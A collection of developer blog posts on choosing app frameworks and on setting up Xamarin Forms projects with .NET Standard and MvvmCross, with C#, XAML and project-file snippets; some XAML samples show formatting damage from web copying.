Building Applications for Platform X

Building Applications for Platform X

As we get started with a new year it’s time to pause and think about how the app development ecosystem has evolved, what technologies continue or are emerging, and look at the decision matrix that will define what technology your next application is developed in. I’m going to treat this post as a bit of an intro to some of the technologies that I think are worth further investigation.

I think the easiest way to do this is to walk the spectrum from web apps through to native platform apps:

Web Apps

When we talk about web apps, there is a natural assumption that these will be responsive web sites that will work across a wide range of devices and browsers. However, they can be divided further into what I would consider traditional web sites and single page applications. Whilst this division can be blurred, for example when you host an Angular application within a .NET core application, the point is that there is a difference in the mindset of the developers building the web app.

Of course, this section includes the obvious ASP.NET Core, React and Angular. Whilst ASP.NET is still a valid choice, I specifically left it out of the list as I think most new projects will favour ASP.NET Core unless there is an impediment that requires full ASP.NET.

Progressive Web Applications allow web developers to extend their applications to leverage more device capabilities. This is a particularly hot area of development for most platforms as this is seen as one of the best long term solution for minimising mobile development fatigue.

Hybrid

Next in the progression are hybrid applications which combine web technologies with a platform specific deployment package – this sounds a bit cryptic but that’s because there are a couple of different models for this.

Firstly there’s the Cordova/PhoneGap model where the application is defined using html, css, javascript, and wrapped in a native platform deployment package. The deployment step is required in order for most stores to accept applications. The important thing here is that the layout and logic for the application is packaged with the application and that the platform web rendering engine is used to display the application.

The second model is much more interesting and is one that’s being used by React Native and Native Script where the logic and layout is defined in javascript, css and a form of HTML. The HTML actually defines native elements that will be rendered in the correct location.

Cross Platform

Before we get to native platform tools and technologies, we’ll stop in on a long time friend, Xamarin. As with the previous sections there are again two options with Xamarin: traditional Xamarin, and Xamarin Forms. With the traditional Xamarin approach the developer is much closer to the metal and has a higher degree of control. However, the Xamarin Forms option allows for user interfaces to be rapidly developed once, and then feedback/issues are resolved on a platform by platform basis.

Native Platform

Lastly, we have the Native platform options for developers:

Android

Java, C++ with Eclipse, Android Studio

iOS

Objective C, Switft, Interface Builder (now part of XCode)

UWP

C#, XAML, Visual Studio (or Visual Studio for Mac)

As this is hopefully one in a sequence of posts on the topic of framework selection, I’d love some feedback on what technology you think will be important to you and those you work with – comments are off but hit me up on twitter @thenickrandolph if you have thoughts on this.

Making MvvmCross with Xamarin Forms Friction Free

Making MvvmCross with Xamarin Forms Friction Free

My last two posts (part 1 and part 2) outlined all the steps necessary to get a new Xamarin Forms with MvvmCross project setup. What I thought was going to be a simple post ended up being much longer due to all the unnecessary steps to setup both Xamarin Forms and MvvmCross. I’ve recently been contributing a little to MvvmCross and one of my concerns with it is that there are just way to many things that you need to get right in order to get it to work nicely with Xamarin Forms. If you don’t follow one of the introductory posts, such as the one provided by Martjin van Dijk, you’ll probably start hacking around with the numerous extension points in order to get it to work. I spent time over the last day seeing if I could reduce this initial friction to getting started.

When you adopt a framework, or any library for that matter, you do so to reduce the need to reinvent the wheel – there’s no point in recreating, or creating something new, if there are existing solutions available. However, I’m of the opinion that you should be able to determine how much the framework influences the way that your code is structured. You should only have to modify your code if the framework offers a clear advantage. If we do a quick review of some of the changes required to take advantage of MvvmCross in our Xamarin Forms project you’ll see that quite a few of these are artificial requirements, mandated by the current MvvmCross implementation, rather than for any specific need. Here are just a couple:

  • App needs to inherit from MvxFormsApplication – this doesn’t add anything other than a couple of events, so unless you want to use those events, this is unnecessary
  • All pages need to inherit from the Mvx equivalent (eg MvxContentPage instead of ContentPage) – the Mvx equivalent expose a ViewModel property which can be useful but is not required in order to take advantages of data binding to the corresponding ViewModel since all Forms elements have a BindingContext that’s used for this purpose. The actual requirement here is for views/pages to implement IMvxView but unless you need the ViewModel property this shouldn’t be a requirement.
  • You need to create a class that inherits from MvxApplication which can do things like register services but most importantly defines what the starting ViewModel is going to be. This is kind of unnecessary if the only thing that it’s doing is defining the starting ViewModel, although I do understand the desire to have the starting ViewModel defined somewhere that is independent of the head projects.
  • All ViewModels need to inherit from MvxViewModel or implement IMvxViewModel – again this is somewhat unnecessary since ViewModels should just be a regular class. Now I do agree that in most cases your ViewModel is likely to implement INotifyPropertyChanged, so this additional requirements isn’t a massive addition but needless to say it shouldn’t be a requirement.

Ok, so after a bit of experimenting without modifying MvvmCross or MvvmCross.Forms (ie I’m just using the NuGet packages) what I came up with is BuildIt.MvvmCross.Forms (currently in prerelease!) which is a NuGet package which adds a couple of helper classes to get you going just that bit quicker. Here are the steps to get started using BuildIt.MvvmCross.Forms:

Start by following the steps outlined in part 1 – this will give you a Xamarin Forms project that’s completely up to date. I’ll call this project LowFriction

Next, follow the early steps in part 2 to add an additional project for your ViewModels, LowFriction.Core, and subsequently add references to MvvmCross (to all projects) and MvvmCross.Forms (to all projects except the Core project).

Add a reference to the BuildIt.MvvmCross.Forms NuGet package to all projects except the Core project. A primary requirement here is that the Core project should not have a reference to the view technology, which in this case is Xamarin Forms – if you find yourself adding a reference (directly or otherwise) to Xamarin Forms to your Core project, you’ve done something wrong and you should rethink the decisions that led you to that point.

You still need to change App.xaml to inherit from MvxFormsApplication – I couldn’t find a work around this requirements

Your pages do not need to change to implement iMvxView – MainPage inherits from ContentPage

In your Core project you will need to create ViewModels that map to your pages, and they need to implement iMvxViewModel – again I couldn’t find a work around for this requirement. MainViewModel inherits from MvxViewModel.

In your Core project you do not  need to create a class that inherits from MvxApplication – we’ll come to this later but essentially BuildIt.MvvmCross.Forms has class called TypedMvxApplication whose type parameter is the starting ViewModel. If you do want to extend the MvxApplication you can still create your own application but I would recommend using TypedMvxApplication as a starting point

UWP

In App.xaml.cs replace

Xamarin.Forms.Forms.Init(e);

with

var setup = new SetupFromViewModel<MainViewModel, LowFriction.App>(rootFrame, e);
setup.Initialize();

You can see here that the SetupFromViewModel class accepts the starting ViewModel as a parameter. If you’d prefer to define the starting ViewModel in the Core project I recommend defining a class that inherits from TypedMvxApplication, specify the starting ViewModel as the type parameter, and then use the SetupFromApplication class in App.xaml.cs.

Change MainPage to inherit from BuildIt.MvvmCross.Forms.UWP.MvxFormsWindowsPage (I also updated the layout of MainPage to show some data coming from databinding from the ViewModel, similar to what I did in my previous post)

Change the MainPage constructor to

public MainPage()
{
     this.InitializeComponent();


    MvxLoadApplication();
}

Android

Change MainActivity to inherit from CustomMvxFormsAppCompatActivity<SetupFromViewModel<MainViewModel, LowFrictionApp>, MainViewModel>

Comment out the Xamarin Forms init code:

//global::Xamarin.Forms.Forms.Init(this, bundle);
//LoadApplication(new App());

iOS

Change AppDelegate to inherit from CustomMvxFormsApplicationDelegate

Change FinishedLaunching

public override bool FinishedLaunching(UIApplication app, NSDictionary options)
{
     Window = new UIWindow(UIScreen.MainScreen.Bounds);


    var setup = new SetupFromViewModel<MainViewModel, App>(this, Window);
     setup.Initialize();


    MvxLoadApplication();


    Window.MakeKeyAndVisible();


    //global::Xamarin.Forms.Forms.Init();
     //LoadApplication(new App());


    return base.FinishedLaunching(app, options);
}

And we’re done! Build and run on each platform and you should be good to go.

As you can see there are significantly fewer steps involved in getting started, and few additional classes to be created. I do note that there is still room for improvement and I feel that as frameworks go MvvmCross has been developed with extensibility in mind – which is why I was able to streamline the getting started experience so much.

Getting Started: MvvmCross with Xamarin Forms (Part 2)

Getting Started: MvvmCross with Xamarin Forms (Part 2)

In my previous post I covered the first part of this post on Getting Started with MvvmCross and Xamarin Forms where I covered the initial steps in getting a new Xamarin Forms project started. In this post I’m going to continue on and show how you can configure a Xamarin Forms solution to make use of MvvmCross.

Before I get started with MvvmCross I’m going to add a new project which will contain all my ViewModels. Whilst not entirely necessary, particularly with Xamarin Forms where the views/pages are in a .NET Standard library, it’s good practice to completely separate your ViewModels away from the views/pages to avoid any accidental interdependencies forming. I’ll add a new project based on the .NET Standard class library template.

image_thumb11[1]

For this library I’m going to adjust the .NET Standard version back to 1.0 – I prefer to start with a low .NET Standard version and increase it only when I need to take advantage of features in the higher versions. This ensures that the library can be referenced by the widest set of targets platforms.

image_thumb11

I’ll add a reference to the new project to each of the other projects in the solution.

image_thumb31

The next step is to add a reference to the MvvmCross NuGet package. Currently MvvmCross is still distributed as a set of Portable Class Libraries and if we attempt to add the NuGet package to either our MvvmcrossGettingStarted or MvvmcrossGettingStarted.Core projects, we’ll get an error as they’re both .NET Standard library. What’s annoying about this is that the MvvmCross PCLs are fully compatible with .NET Standard, meaning that it should be possible to add a reference to them. Unfortunately Visual Studio isn’t clever enough to be able to resolve this, and as such we need to adjust the csproj files for both projects before attempting to add a reference to MvvmCross.

Add the following line into the first PropertyGroup of the csproj files for both MvvmcrossGettingStarted or MvvmcrossGettingStarted.Core projects. One saving grace is that it’s now easy in Visual Studio to edit a csproj by right-clicking on the project and selecting “Edit <project name>.csproj”.

<PackageTargetFallback>$(PackageTargetFallback);portable-net45+win8+wpa81</PackageTargetFallback>

Eg.

image_thumb23

Next we can go ahead and add a reference to MvvmCross to all our projects. Right-click on the solution node in Solution Explorer and select Manage NuGet Packages for Solution, and then search for mvvmcross. Select the most recent stable version of MvvmCross (this image is a little old as the version is at 5.6.3 at time of writing this)

image_thumb9

In addition to the main MvvmCross package, we also want to add in the Xamarin Forms support library, MvvmCross.Forms. Note that we do not add this to the MvvmcrossGettingStarted.Core project – this is the separation of concerns we setup at the beginning of this post to ensure there is no dependencies on the viewing technology within our ViewModels.

image_thumb21

Now that we have added the references to MvvmCross there are a bunch of small changes we need to apply to our application in order to get it all up and running. We’ll start in the MvvmcrossGettingStarted.Core project where we need to create two classes.

The first class we’ll create inherits from MvxApplication and is used to setup the application within the ViewModel world. MvvmCross has an opinionated navigation model whereby navigation is defined at a ViewModel level, and simply implemented at a View level. As such the MvxApplication class, in this case GettingStartedApplication, defines the first ViewModel for the application.

public class GettingStartedApplication : MvxApplication
{
     public override void Initialize()
     {
         RegisterNavigationServiceAppStart<MainViewModel>();
     }
}

The second class is the ViewModel that matches the first view or page of the application. MainPage was created back when we created the Xamarin Forms application, so we’ll create a class called MainViewModel. Whilst you can override the default view to viewmodel mapping in MvvmCross, it’s preconfigured to align views and viewmodels based on a naming convention. I typically stick with XXXViewModel and XXXPage but XXXView is also supported out of the box.

In this case MainViewModel exposes a simple property that we’ll data bind to later to show that the Page and ViewModel have been glued together correctly.

public class MainViewModel: MvxViewModel
{
     public string WelcomeText => “Welcome to my data bound Xamarin Forms + MvvmCross application!”;
}

Now we’ll switch over to the MvvmcrossGettingStarted project and make some changes to both the App and MainPage classes.

In the App.xaml, we need to change the root element to reference MvxFormsApplication

<?xml version=”1.0″ encoding=”utf-8″ ?>
<mvx:MvxFormsApplication http://xamarin.com/schemas/2014/forms"”>http://xamarin.com/schemas/2014/forms”
                     http://schemas.microsoft.com/winfx/2009/xaml"”>http://schemas.microsoft.com/winfx/2009/xaml”
                    
                    
x:Class=”MvvmcrossGettingStarted.App”>
     <Application.Resources>
     </Application.Resources>
</mvx:MvxFormsApplication>

And in App.xaml.cs, remove the inheritance – the Microsoft templates insist on including the inheritance in both the xaml and xaml.cs files which is quite unnecessary and should be removed.

public partial class App
{
     public App()
     {
         InitializeComponent();
     }
}

We need to make a similar change to MainPage.xaml, changing the root element to MvxContentPage. We’ll also change the Label to use data binding to return the WelcomeText property from the MainViewModel.

<?xml version=”1.0″ encoding=”utf-8″ ?>
<mvx:MvxContentPage http://xamarin.com/schemas/2014/forms"”>http://xamarin.com/schemas/2014/forms”
                     http://schemas.microsoft.com/winfx/2009/xaml"”>http://schemas.microsoft.com/winfx/2009/xaml”
                    
                    
                    
x:Class=”MvvmcrossGettingStarted.MainPage”>
     <Label Text=”{Binding WelcomeText}”
            VerticalOptions=”Center”
            HorizontalOptions=”Center” />
</mvx:MvxContentPage>

Again, remove the inheritance specified in MainPage.xaml.cs

public partial class MainPage
{
     public MainPage()
     {
         InitializeComponent();
     }
}

The next step involves adding a Setup class to each of the head projects, and then creating an instance of the Setup class to invoke MvvmCross when the application starts up.

UWP

The UWP Setup inherits from MvxFormsWindowsSetup and unlike the Android and iOS Setup classes, the UWP Setup needs to override the default log behaviour by setting the log provider type to None and then creating an instance of the EmptyVoidLogProvider  (the implementation of this is coming up soon) – this should be fixed in a future MvvmCross version.

public class Setup : MvxFormsWindowsSetup
{
     public Setup(Frame rootFrame, LaunchActivatedEventArgs e) : base(rootFrame, e)
     {
     }


    protected override MvxLogProviderType GetDefaultLogProviderType() => MvxLogProviderType.None;


    protected override IMvxLogProvider CreateLogProvider() => new EmptyVoidLogProvider();


    protected override IEnumerable<Assembly> GetViewAssemblies()
     {
         return new List<Assembly>(base.GetViewAssemblies().Union(new[] { typeof(MvvmcrossGettingStarted.App).GetTypeInfo().Assembly }));
     }


    protected override MvxFormsApplication CreateFormsApplication() => new MvvmcrossGettingStarted.App();


    protected override IMvxApplication CreateApp() => new Core.GettingStartedApplication();
}

Now in App.xaml.cs we need to replace

Xamarin.Forms.Forms.Init(e);

with

var setup = new Setup(rootFrame, e);
setup.Initialize();

And in Main.xaml.cs replace

LoadApplication(new MvvmcrossGettingStarted.App());

with

var start = Mvx.Resolve<IMvxAppStart>();
start.Start();


var presenter = Mvx.Resolve<IMvxFormsViewPresenter>() as MvxFormsUwpViewPresenter;
LoadApplication(presenter.FormsApplication);

Finally, we need to add the EmptyVoidLogProvider

public class EmptyVoidLogProvider : IMvxLogProvider
{
     private readonly EmptyVoidLog voidLog;


    public EmptyVoidLogProvider()
     {
         voidLog = new EmptyVoidLog();
     }


    public IMvxLog GetLogFor<T>()
     {
         return voidLog;
     }


    public IMvxLog GetLogFor(string name)
     {
         return voidLog;
     }


    public IDisposable OpenNestedContext(string message)
     {
         throw new NotImplementedException();
     }


    public IDisposable OpenMappedContext(string key, string value)
     {
         throw new NotImplementedException();
     }


    public class EmptyVoidLog : IMvxLog
     {
         public bool Log(MvxLogLevel logLevel, Func<string> messageFunc, Exception exception = null, params object[] formatParameters)
         {
             return true;
         }
     }
}

Now when we build and run the UWP project we can see that the MainPage is shown and is data bound to the MainViewModel.

image

iOS

The iOS Setup is the simplest out of the three platforms.

public class Setup : MvxFormsIosSetup
{
     public Setup(IMvxApplicationDelegate applicationDelegate, UIWindow window)
         : base(applicationDelegate, window)
     {
     }


    protected override IEnumerable<Assembly> GetViewAssemblies()
     {
         return new List<Assembly>(base.GetViewAssemblies().Union(new[] { typeof(MvvmcrossGettingStarted.App).GetTypeInfo().Assembly }));
     }


    protected override MvxFormsApplication CreateFormsApplication() => new MvvmcrossGettingStarted.App();


    protected override IMvxApplication CreateApp() => new Core.GettingStartedApplication();
}

In AppDelegate we need to change the inheritance from  global::Xamarin.Forms.Platform.iOS.FormsApplicationDelegate to MvxFormsApplicationDelegate and change the FinishedLaunching method as follows:

public override bool FinishedLaunching(UIApplication app, NSDictionary options)
{
     Window = new UIWindow(UIScreen.MainScreen.Bounds);


    var setup = new Setup(this, Window);
     setup.Initialize();


    var startup = Mvx.Resolve<IMvxAppStart>();
     startup.Start();


    LoadApplication(setup.FormsApplication);


    Window.MakeKeyAndVisible();


    return base.FinishedLaunching(app, options);
}

Now we’re good to build and run the iOS project

image

Android

Lastly, add Setup to the Android project. Note this is slightly different from the iOS and UWP projects in that the GetViewAssemblies method excludes the assembly for the Android head project. This is to avoid the MainActivity being added as a view, that based on our naming convention would match with MainViewModel giving a duplicate when attempting to resolve the View that should be rendered.

public class Setup : MvxFormsAndroidSetup
{
     public Setup(Context applicationContext) : base(applicationContext)
     {
     }


    protected override IEnumerable<Assembly> GetViewAssemblies()
     {
         return new List<Assembly>(base.GetViewAssemblies()
             .Union(new[] { typeof(MvvmcrossGettingStarted.App).GetTypeInfo().Assembly })
             .Except(new[] {this.GetType().Assembly})
             );
     }


    protected override MvxFormsApplication CreateFormsApplication() => new MvvmcrossGettingStarted.App();


    protected override IMvxApplication CreateApp() => new Core.GettingStartedApplication();
}

The MainActivity needs to be updated to change its inheritance from global::Xamarin.Forms.Platform.Android.FormsAppCompatActivity to MvxFormsAppCompatActivity<MainViewModel>. And the OnCreate needs to be updated to

[Activity(Label = “MvvmcrossGettingStarted”, Icon = “@drawable/icon”, Theme = “@style/MainTheme”, MainLauncher = true, ConfigurationChanges = ConfigChanges.ScreenSize | ConfigChanges.Orientation)]
public class MainActivity : MvxFormsAppCompatActivity<MainViewModel>
//global::Xamarin.Forms.Platform.Android.FormsAppCompatActivity
{
     protected override void OnCreate(Bundle bundle)
     {
         TabLayoutResource = Resource.Layout.Tabbar;
         ToolbarResource = Resource.Layout.Toolbar;


        base.OnCreate(bundle);


        var startup = Mvx.Resolve<IMvxAppStart>();
         startup.Start();
         InitializeForms(bundle);


     }
}

Finally the last platform, Android, is good to build and run. Note however that Android has a tendency to be a pain and that after setting everything up correctly you may still run into issues building, deploying and running. Before you waste hours looking at your code to see what you’ve done wrong, make the assumption that the tools are crap – delete both bin and obj folders from the Android head project, and uninstall the application from the device/emulator (assuming it has already been installed). Try building and running again – if this still fails, then you may indeed have something wrong with your code!

image

Getting Started: MvvmCross with Xamarin Forms

Getting Started: MvvmCross with Xamarin Forms

Over the past 6-12 months we’ve seen dramatic changes in Xamarin Forms and the support within Visual Studio. The most recent update, which I covered in my previous post, included a number of new features for cross platform developers. However, despite these updates, getting started with cross platform development is still quite complex. In this post I wanted to take the opportunity to reiterate how to start a new Xamarin Forms project. From there I’ll cover adding in MvvmCross and discuss the importance of having a framework that will make development that much easier (for the record MvvmCross isn’t the only option, there are plenty of great alternatives such as Prism and FreshMvvm).

Part 1: Getting Started with Xamarin Forms

Before getting started, make sure you’ve run the Visual Studio Installer and have upgraded to the latest stable release of Visual Studio. The team at Microsoft have been putting a lot of focus on stability and performance, so upgrading to the latest version does help (still not perfect but a marked improvement over this time last year!). Upgrading Visual Studio continually can be a bit of a pain, especially since Microsoft haven’t quite worked out how to automatically download updates in the background for VS – meaning that you have to stop whatever you’re doing whilst the updates download and then install. Recommendation is to run the installer periodically at the end of your day, or when you’re heading to a long meeting; hopefully the installation is complete by the time you return.

Now that you’re all up to date, let’s create a new solution by selecting the Cross-Platform App (Xamarin Forms) template from the New Project dialog. Note that if you don’t see this template, you may have to adjust the workloads you selected in the VS Installer so that you have all the cross-platform development components selected.

image

After clicking OK you should be presented with a second dialog that allows you to specify parameters for how your cross platform project should be setup. As you can see from the image, I recommend always selecting all three platforms (even if you’re only planning on targeting one or two of them initially); In this case we’re going with Xamarin.Forms with a simple Blank App; The last option I’m particularly passionate about – do NOT select Shared Project – for the good of your project, the team and general good programming practice, please select the .NET Standard option for Code Sharing Strategy. At time of writing the .NET Standard option is only available in the preview build of Visual Studio; the stable build uses a Portable Class Library, which is still preferable over using a Shared Project.

image

This time clicking OK will create a new solution.

Unexpected Error when Creating Solution

Unfortunately, at time of writing this post there is also a bug in the current cross platform template that results in the following error:

image

If you see this error, a quick Google will yield the following bugzilla issue (https://bugzilla.xamarin.com/show_bug.cgi?id=60995) which describes the issue, along with how to fix it yourself – you just need to edit the Android csproj file and remove the ” from around the TargetFrameworkVersion ie:

replace:

<TargetFrameworkVersion>”v8.0″</TargetFrameworkVersion>

with

<TargetFrameworkVersion>v8.0</TargetFrameworkVersion>

After fixing up the csproj file you’ll need to add the existing projects into the solution file.

Assuming you didn’t run into any issues creating the solution, or you were able to fix up the Android csproj file, you should be able to build and run each of the head projects:

UWP

image

Note: When building the UWP project I was seeing a build warning stating “warning APPX0108: The certificate specified has expired.” which I thought was a bit odd since I had just created the project and normally the certificate that is used for debug builds is created alongside the new project. Double-clicking the package.appxmanifest and switching to the Packaging tab I see that the Publisher display name isn’t set correctly – I’m guessing at this point that the cross platform template contains an existing certificate, instead of creating one each time. You can easily fix this by changing the publisher display name, clicking Choose Certificate and then from the dropdown select “Create test certificate”.

image

Now when you build the project you won’t see this warning – I’m guessing this is also a bug in the preview version of the cross platform template.

Android

image

For Android I’m using the Google Android Emulator that can now be installed using the Visual Studio Installer. This is significantly better than it used to be, and the images are much more recent than those for the Visual Studio Android Emulator which has been deprecated now.

iOS

image

For iOS, as I’m working from a Windows laptop, I use the Remote Simulator which works really well and means I don’t need to continually VNC to my MacMini or have to deploy to a real device.

Again there was an issue with the iOS template in that the MinimumOSVersion was set to “11.2” instead of just 11.2 in the Info.plist file.

<key>MinimumOSVersion</key>
<string>11.2</string>

Correcting the MinimumOSVersion will allow your application to run on a device or emulator.

Now that we’ve validated that all the platforms run, it’s time to make sure they’re setup correctly ready for us to add in Mvvmcross and to set the foundation of our application. Android and iOS should be setup correctly, although you may want to double-check to make sure Android is set to use the latest platform version (see Application tab of the Android project properties); UWP defaults to using the Fall Creators Update (FCU) as the minimum version, which is way to recent for applications wanting to target the widest set of customers. Our preferences is to set this back to the November Update

image

Note however, that this does preclude your application from using .NET Standard 2.0 libraries, as these are not compatible with UWP projects prior to the FCU. Unfortunately the .NET Standard library that holds the Xamarin Forms views for the solution is set to .NET Standard 2.0 by default. This is completely unnecessary, so it can be reduced back to 1.4 (or below, depending on your preferences)

image

Next, we want to make sure we’re using the latest NuGet packages – right-click on the solution node in Solution Explorer and select Manage NuGet Packages for Solution

image

After upgrading all the NuGet packages, double-check to make sure all platforms build and run. Now’s a great time to check your solution in to your repository of choice (Note: make sure you check in the pfx file that is part of the UWP solution. You’ll probably have to manually add this file to your repository as most repositories ignore pfx files by default).

Update: Part 2 is now available.

Getting Started: Xamarin Forms with .NET Standard 2.0

Getting Started: Xamarin Forms with .NET Standard 2.0

In my earlier post Getting Started: Xamarin Forms with .NET Standard I covered how to create a new Xamarin Forms project which uses a .NET Standard 1.4 library to share the views between iOS, Android and UWP. At the time, whilst iOS and Android supported .NET Standard 2.0, support still wasn’t available for UWP. Almost immediately after publishing the blog post, Microsoft announced that Visual Studio 2017 preview 15.4 would allow UWP applications to reference .NET Standard 2.0 libraries. Unfortunately this didn’t work in the first drop, 15.4.0 Preview. This was just updated to 15.4.0 Preview 2 (Release Notes: https://www.visualstudio.com/en-us/news/releasenotes/vs2017-preview-relnotes), which brings with it the support we’ve been after. In this post, I’m going to repeat the previous post on getting started with .NET Standard, this time using .NET Standard 2.0 for the UI project.

Let’s walk through the basics – create a new Cross Platform App (same as before)

image

Select the Xamarin.Forms (UI Technology) and Portable Class Library (PCL) (Code Sharing Strategy) – Don’t pick the Shared Project option!

image

Select the Insider Preview version of UWP for both Minimum and Target version – this is required for .NET Standard 2.0 support. If you want to target earlier versions of Windows 10, you’ll have to stick with .NET Standard 1.4.

image

Next, we’re going to replace the PCL with a new .NET Standard library

image

I’ll copy the App.xaml, App.xaml.cs, MainPage.xaml and MainPage.xaml.cs from the PCL into the .NET Standard library, before deleting the PCL from the project (see https://nicksnettravels.builttoroam.com/post/2017/08/26/Getting-Started-Xamarin-Forms-with-NET-Standard.aspx for more detailed instructions).

The big difference is that I’m not going to change the default Target Framework, leaving it as .NET Standard 2.0.

image

Next I need to make sure I add and upgrade references to Xamarin.Forms to each of the projects – this isn’t actually required, since the stable release of Xamarin Forms will actually work with .NET Standard but I’ve been working with the pre-release version quite a bit lately, so I’ll go with that for this example.

image

I also need to remember to add a reference to the .NET Standard project to each of the head projects for iOS, Android and UWP.

image

If you attempt to build and run at this point iOS and Android should work without issue. UWP will most likely compile but will raise an exception “Could not load file or assembly ‘netstandard, Version=2.0.0.0….” at runtime.

image

Essentially the UWP project structure has evolved a little, so you need to upgrade it. Now I think that you may be able to do this via package manager but I’ve never got it to work for UWP projects, so I will make the changes manually to the csproj file. Start by deleting the project.json file from the UWP project.

Next right-click the UWP project in Solution Explorer and select unload project. Next, right-click on the UWP project node and select Edit MySecondXamarinFormsApp.UWP.csproj.

Add a new PropertyGroup – this changes the way packages are referenced, eliminating the need for the project.json file, replacing it with references within the csproj file.

<PropertyGroup>
   <RestoreProjectStyle>PackageReference</RestoreProjectStyle>
</PropertyGroup>

image

Next we need to add back the package references that were in the project.json – if you’re doing this on an existing project, you may want to keep the project.json file handy so you know which packages to add. In this case there are just two projects:

<ItemGroup>
   <PackageReference Include=”Microsoft.NETCore.UniversalWindowsPlatform”>
     <Version>6.0.0-preview1-25631-01</Version>
   </PackageReference>
   <PackageReference Include=”Xamarin.Forms”>
     <Version>2.4.0.269-pre2</Version>
   </PackageReference>
</ItemGroup>

image

Now you can right-click on the UWP project in Solution Explorer and select Reload project. Trigger a rebuild and now you should be able to run the UWP project.

image

Getting Started: Xamarin Forms with .NET Standard

Getting Started: Xamarin Forms with .NET Standard

With the recent release of Visual Studio 2017 v15.3 (and subsequent patch release 15.3.1 and 15.3.2…. yes, it does say something about ship quality Sad smile) came the release and support for .NET Standard 2.0. The Xamarin team also made a lot of noise about support for .NET Standard 2.0; unfortunately this doesn’t yet translate into Visual Studio templates that easily get you started. My particular annoyance is the about of steps you need to go through in order to just spin up a new Xamarin Forms application that can reference .NET Standard libraries. I thought I’d piggyback of a post done a couple of months back by Pierce Boggan. Here goes:

Start by creating a new project in Visual Studio 2017, selecting the Cross Platform App (Xamarin) project template:

image

Next, select the template you want (I’m going with the Blank App), the UI Technology and Code Sharing Strategy. As I’m going to be walking through how to use Xamarin Forms, it makes sense to pick that as the option for UI Technology. Only select the Portable Class Library option. Don’t use the Shared Project – using a shared project will lead you down the evil road of using conditional compilation which will be a maintenance nightmare, just don’t use it. I don’t care how great you think it is, don’t use it. One last time, don’t use the Shared Project option.

image

Now that I’ve expressed my opinion on code sharing strategies, let’s click the OK button and get on with building our application. As the template goes through generating the head projects for iOS, Android and UWP, it will prompt you to select the target and minimum platforms for UWP. For the most part, unless you have specific target platform requirements for UWP, you can leave the default settings.

image

The generated solution will have four projects: three head or target platform projects (for iOS, Android and UWP) and a portable class library (PCL) which contains the XAML pages that will make up your Xamarin Forms application layout. In order to proceed with .NET Standard support we need to replace the PCL with a .NET Standard library. Whilst Visual Studio used to have a mechanism for upgrading a library from a PCL to a .NET Standard library, this has been removed. Now the easiest way is to simply create a new project, and copy the relevant files into the new project. From the Add New Project dialog, select the Class Library (.NET Standard) template.

image

I use the .UI naming convention for the library that will contain my XAML pages. Other developers use .Core but my preference is to separate my XAML pages away from my view models. Whilst technically with Xamarin Forms they can reside in the same library, I prefer to have a clean separation between them. I have <applicationname>.UI with my XAML pages in it and <applicationname>.Core with my view models, services, entities, essentially all the business logic for my application.

For this example I’m going to keep it simple and we’ll just create the .UI project for the moment.

image

I don’t need the default Class1.cs, so I’ll remove that. I’ll add a reference to the .NET Standard library to all the head projects.

I’m also going to drop the .NET Standard version back from 2.0 (now the default in Visual Studio) back to 1.4. Whilst the tooling has been updated for the head projects for iOS and Android to support .NET Standard 2.0, of course, UWP is still lagging the field, as so you won’t be able to use a .NET Standard 2.0 library until that’s fixed. To be honest though, not much is lost by lowering the version of the .UI project to 1.4 since all the features of Xamarin Forms are still there.

image

Next I’m going to copy App.xaml (and App.xaml.cs) and MainPage.xaml (and MainPage.xaml.cs) from the PCL into the newly created .NET Standard library. Once I’ve copied these files across I can remove the PCL project from the solution – this will remove the references to this library from each of the head projects. After coping these files across, you may well see a compilation error similar to the following:

1>—— Build started: Project: MyFirstXamarinFormsApp.UI, Configuration: Debug Any CPU ——
1>C:Program Filesdotnetsdk2.0.0SdksMicrosoft.NET.SdkbuildMicrosoft.NET.Sdk.DefaultItems.targets(274,5): error : Duplicate ‘EmbeddedResource’ items were included. The .NET SDK includes ‘EmbeddedResource’ items from your project directory by default. You can either remove these items from your project file, or set the ‘EnableDefaultEmbeddedResourceItems’ property to ‘false’ if you want to explicitly include them in your project file. For more information, see
https://aka.ms/sdkimplicititems. The duplicate items were: ‘App.xaml’; ‘MainPage.xaml’
1>Done building project “MyFirstXamarinFormsApp.UI.csproj” — FAILED.

If you do, you just need to edit the project file for the .UI project and remove the App.Xaml and MainPage.xaml EmbeddedResource elements. The new project format includes files by default and the tooling isn’t smart enough to realise that the sample files are being added multiple times. Removing these elements will fix the compilation:

<ItemGroup>
   <EmbeddedResource Include=”App.xaml”>
     <Generator>MSBuild:UpdateDesignTimeXaml</Generator>
   </EmbeddedResource>
   <EmbeddedResource Include=”MainPage.xaml”>
     <Generator>MSBuild:UpdateDesignTimeXaml</Generator>
   </EmbeddedResource>
</ItemGroup>

The last thing to do is to make sure that the .NET Standard library references Xamarin Forms. I’m going to do that by right-clicking the solution node in Solution Explorer and selecting Manage Nuget Package for Solution.

image

I’m going to select the new prerelease version of Xamarin Forms (which is the one where they’ve apparently added .NET Standard support). In addition to adding a reference to Xamarin Forms to the UI project, I also take this opportunity to upgrade all the package references in the application. Note that I’ve even selected the Android support packages – this used to be a big No-No but with the latest version of the tooling you can now go ahead and update them, and I would definitely encourage you to do so.

image

Now, go make yourself a coffee – Nuget is slow, so slow! The good news is that once you’ve done all these steps, you’re ready to go with a .NET Standard based Xamarin Forms project. If you’re following this post to get started on your own project, you can finish up here, as you’re good to go.

Ok, so all of that, and what can we do. We’ll for a starters, it makes it super easy to add nuget packages such as BuildIt Forms which has a bunch of helper controls and features to get you building richer applications. Let’s add a reference to the BuildIt.Forms Nuget package the project:

image

After adding the reference to BuildIt.Forms we can make use the added controls. For example the ContentButton allows us to easily add a button that contains any XAML content, whilst still maintaining the pressed and hover states:

<?xml version=”1.0″ encoding=”utf-8″ ?>
<ContentPage http://xamarin.com/schemas/2014/forms"”>http://xamarin.com/schemas/2014/forms”
              http://schemas.microsoft.com/winfx/2009/xaml"”>http://schemas.microsoft.com/winfx/2009/xaml”
             
             
              x_Class=”MyFirstXamarinFormsApp.MainPage”>
 
     <StackLayout VerticalOptions=”Center”
                  HorizontalOptions=”Center”>
         <Label Text=”Welcome to Xamarin Forms!” />
         <ctrls:ContentButton>
             <Label Text=”Press m!” />
         </ctrls:ContentButton>
     </StackLayout>
</ContentPage>

I’ll cover more on the BuildIt.Forms library in coming posts.

Cross Platform Visual States

Cross Platform Visual States

